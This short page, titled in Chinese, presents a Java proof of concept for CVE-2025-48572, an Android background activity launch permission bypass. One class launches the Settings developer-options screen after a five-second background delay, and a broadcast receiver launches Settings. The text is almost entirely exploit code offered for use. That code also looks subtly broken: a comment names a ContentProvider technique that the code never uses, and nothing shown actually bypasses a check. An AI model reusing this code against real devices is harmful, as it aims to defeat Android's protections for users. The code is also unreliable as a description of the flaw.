CVE-2025-48572 Android后台活动启动权限绕过高危漏洞

// CVE-2025-48572 PoC - Background Activity Launch Permissions Bypass // This PoC demonstrates the permission bypass in Android's activity launching mechanism public class BackgroundActivityExploit extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Exploit technique: Use ContentProvider.onCreate() to launch activity from background // This bypasses the normal START_ACTIVITIES_FROM_BACKGROUND permission check new Handler(Looper.getMainLooper()).postDelayed(() -> { try { // Target sensitive activities that should require foreground privileges Intent exploitIntent = new Intent(); exploitIntent.setComponent(new ComponentName( "com.android.settings", "com.android.settings.DevelopmentSettings" )); exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // The vulnerability allows this to succeed from background context startActivity(exploitIntent); Log.d("CVE-2025-48572", "Activity launched successfully - permission bypassed"); } catch (Exception e) { Log.e("CVE-2025-48572", "Exploit failed: " + e.getMessage()); } }, 5000); // Delay to ensure app is in background } } // Alternative exploitation via BroadcastReceiver with ordered broadcasts public class ExploitReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // Abuse of ordered broadcast to manipulate activity launch context Intent maliciousIntent = new Intent(); maliciousIntent.setComponent(new ComponentName( "com.android.settings", "com.android.settings.Settings" )); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP); context.startActivity(maliciousIntent); } }